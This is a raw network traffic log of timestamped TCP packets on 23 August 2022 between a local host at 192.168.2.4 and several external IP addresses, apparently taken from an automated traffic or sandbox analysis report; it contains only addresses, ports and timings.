Aug 23, 2022 03:43:52.534317970 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534339905 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534358978 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534399986 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534413099 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534420967 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534432888 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534491062 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534492016 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534507036 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534532070 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534575939 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534588099 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534610033 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534655094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534672976 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534681082 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534733057 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534933090 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534967899 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535037041 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535047054 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535065889 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535078049 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535095930 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535105944 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535115004 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535151958 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535183907 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535211086 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535229921 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535240889 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535264969 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535300970 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535306931 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535319090 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535372972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535427094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535437107 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535478115 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535492897 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535521030 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535553932 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535602093 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535610914 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535691023 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535769939 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535855055 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.535888910 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535898924 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.535932064 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.561224937 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.586498022 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.843540907 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:44:31.791171074 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:44:32.086674929 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:44:32.086791992 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:44:36.929264069 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:44:37.224512100 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:44:37.281872034 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:44:42.995496035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:44:43.034311056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:44:43.034511089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:44:52.777056932 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:44:53.073363066 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:44:53.183424950 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:45:05.366197109 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:05.424923897 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:45:05.425017118 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:11.898360014 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:11.958043098 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:45:12.044296980 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:18.226959944 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:45:18.270349979 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:45:18.270509005 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:45:20.013667107 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:45:20.311871052 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:45:20.312119007 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:45:20.312191010 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:45:20.312247992 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:45:20.385919094 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:45:22.142909050 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:45:22.186820984 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:45:22.351680994 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:45:28.275841951 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:28.337021112 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:45:28.446830988 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:45:34.482187033 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:45:34.628613949 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:45:34.628743887 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:45:40.117922068 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:45:40.256824017 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:45:40.387965918 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:45:43.680582047 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:45:43.724901915 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:45:43.847480059 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:06.595628977 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:06.860711098 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:06.989697933 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:09.478100061 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:09.542915106 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:09.542953014 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:09.542975903 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:09.543061018 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:19.280435085 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:19.325998068 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:19.326035023 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:19.326060057 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:19.326081038 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:19.450551033 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:20.141654968 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:20.437932014 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:20.490883112 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:21.201150894 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.224101067 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.261030912 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.265341997 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.271097898 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.324764013 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.330507040 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.350246906 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.397666931 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.415422916 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.452250957 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:21.474390984 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.474420071 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.474495888 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.475303888 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:21.615109921 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.651642084 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.660650969 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.747246027 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:21.753479004 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.755650043 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:21.829865932 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.873357058 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.873379946 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.873528004 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.916667938 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.916708946 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.916768074 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.916848898 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.916862965 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.916944027 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.916982889 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.917036057 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.917182922 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.917325974 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.917368889 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.918591022 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:21.960036039 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.960724115 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.961390018 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:21.964946985 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:21.978492022 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:22.008264065 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:22.070149899 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.070247889 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:22.304584980 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:22.329011917 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.388612032 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:22.460807085 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.548044920 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.607480049 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:22.614896059 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.674516916 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:22.763879061 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:22.791210890 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:22.811829090 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:22.815188885 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:22.855751991 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:22.859508991 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.051105976 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.229763031 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.286124945 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.289434910 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.292056084 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.331526995 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.336110115 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.351387978 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.365565062 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.379466057 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.385242939 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.424520016 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.424956083 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.428495884 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.430135012 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.430738926 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.473453045 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.484448910 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.489718914 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.494668961 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.527677059 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.527715921 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.528168917 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.531788111 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.553697109 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.557574034 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.575182915 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.616503000 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.618778944 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.651140928 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.678059101 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.694482088 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:23.786199093 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:23.790056944 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:23.795905113 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.851046085 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:23.854703903 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.854722977 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.854846001 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.855127096 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855181932 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855197906 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.855204105 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855281115 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855357885 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855381966 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.855400085 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913659096 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913680077 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913692951 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913767099 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913839102 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.913918018 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.914009094 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.914022923 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.914155960 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.914167881 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.915153980 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:23.917814016 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:23.977195024 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:24.086349964 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:24.088682890 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:24.163544893 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:24.383711100 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:24.431634903 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:24.491714001 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:24.612301111 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:24.612327099 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:24.612349033 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:24.612368107 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:24.612451077 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:24.612503052 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:24.682780027 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.700006962 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:24.756386042 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.759711981 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:24.760265112 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:24.761723995 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.806313992 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.807811975 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.819508076 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:24.820501089 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:24.851455927 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.853430033 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.871742964 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:24.880311012 CEST	9582	49837	176.113.115.146	192.168.2.4
Aug 23, 2022 03:46:24.896903992 CEST	49837	9582	192.168.2.4	176.113.115.146
Aug 23, 2022 03:46:24.897094011 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.905313969 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.949292898 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.950257063 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.950808048 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:24.994427919 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:24.995412111 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:25.072633982 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:25.073429108 CEST	16525	49838	195.54.170.157	192.168.2.4
Aug 23, 2022 03:46:25.082674026 CEST	49838	16525	192.168.2.4	195.54.170.157
Aug 23, 2022 03:46:25.168869019 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:25.177191019 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:25.521025896 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:25.521235943 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:25.736613035 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:25.815670013 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:25.815809011 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:25.878422022 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:25.881112099 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.018919945 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.029720068 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.111635923 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:26.111680031 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:26.112365007 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:26.116892099 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:26.167866945 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.194123983 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.236486912 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.373339891 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.373368979 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.373389959 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.373411894 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.377145052 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.379956961 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.412749052 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:26.415887117 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:26.517914057 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.520275116 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.660990953 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.711832047 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:26.713473082 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:26.898490906 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:26.962862015 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:26.962996960 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.008300066 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:27.012221098 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:27.170123100 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.307246923 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:27.308649063 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:27.398444891 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:27.400670052 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.438072920 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.576095104 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:27.579655886 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.768338919 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:27.814052105 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:27.897880077 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:27.990192890 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:28.098217010 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.240525007 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.286139965 CEST	34589	49833	103.89.90.61	192.168.2.4
Aug 23, 2022 03:46:28.294775963 CEST	49833	34589	192.168.2.4	103.89.90.61
Aug 23, 2022 03:46:28.304117918 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.357798100 CEST	49839	40915	192.168.2.4	185.191.229.101
Aug 23, 2022 03:46:28.495698929 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495722055 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495734930 CEST	40915	49839	185.191.229.101	192.168.2.4
Aug 23, 2022 03:46:28.495743036 CEST	40915	49839	185.191.229.101	192.168.2.4
